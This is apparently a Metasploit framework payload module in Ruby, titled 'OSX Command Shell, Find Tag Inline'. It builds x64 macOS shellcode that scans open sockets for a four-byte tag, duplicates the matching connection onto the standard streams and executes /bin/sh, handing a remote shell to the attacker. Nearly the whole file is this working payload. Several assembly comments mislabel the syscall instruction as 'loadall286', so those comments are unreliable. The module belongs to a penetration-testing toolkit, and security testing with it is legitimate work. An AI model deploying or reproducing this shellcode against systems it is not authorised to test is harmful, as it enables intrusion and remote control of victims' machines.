##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 107

  include Msf::Payload::Single
  include Msf::Payload::Osx
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'OSX Command Shell, Find Tag Inline',
      'Description'   => 'Spawn a shell on an established connection (proxy/nat safe)',
      'Author'        => 'nemo <nemo[at]felinemenace.org>',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64,
      'Handler'       => Msf::Handler::FindTag,
      'Session'       => Msf::Sessions::CommandShellUnix

      ))
      # exec payload options
      register_options(
        [
          OptString.new('CMD',  [ true,  "The command string to execute", "/bin/sh" ]),
          OptString.new('TAG',  [ true,  "The tag to test for", "NEMO" ]),
      ])
  end

  #
  # ensures the setting of tag to a four byte value
  #
  def generate(_opts = {})
    cmd  = (datastore['CMD'] || '') + "\x00"
    call = "\xe8" + [cmd.length].pack('V')

    payload =
      "\x48\x31\xFF" +                    # xor rdi,rdi
      "\x57" +                            # push rdi
      "\x48\x89\xE6" +                    # mov rsi,rsp
      "\x6A\x04" +                        # push byte +0x4
      "\x5A" +                            # pop rdx
      "\x48\x8D\x4A\xFE" +                # lea rcx,[rdx-0x2]
      "\x4D\x31\xC0" +                    # xor r8,r8
      "\x4D\x31\xC9" +                    # xor r9,r9
      "\x48\xFF\xCF" +                    # dec rdi
      "\x48\xFF\xC7" +                    # inc rdi
      "\xB8\x1D\x00\x00\x02" +            # mov eax,0x200001d
      "\x0F\x05" +                        # loadall286
      "\x81\x3C\x24" +                    # cmp dword [rsp],0x4e454d4f
      datastore['TAG'] +
      "\x75\xED" +                        # jnz 0x17
      "\x48\x31\xC9" +                    # xor rcx,rcx
      "\xB8\x1D\x00\x00\x02" +            # mov eax,0x200001d
      "\x0F\x05" +                        # loadall286
      "\xB8\x5A\x00\x00\x02" +            # mov eax,0x200005a
      "\x48\x31\xF6" +                    # xor rsi,rsi
      "\x0F\x05" +                        # loadall286
      "\xB8\x5A\x00\x00\x02" +            # mov eax,0x200005a
      "\x48\xFF\xC6" +                    # inc rsi
      "\x0F\x05" +                        # loadall286
      "\x48\x31\xC0" +                    # xor rax,rax
      "\xB8\x3B\x00\x00\x02" +            # mov eax,0x200003b
      call +
      cmd +
      "\x48\x8B\x3C\x24" +                # mov rdi,[rsp]
      "\x48\x31\xD2" +                    # xor rdx,rdx
      "\x52" +                            # push rdx
      "\x57" +                            # push rdi
      "\x48\x89\xE6" +                    # mov rsi,rsp
      "\x0F\x05"                          # loadall286
  end
end
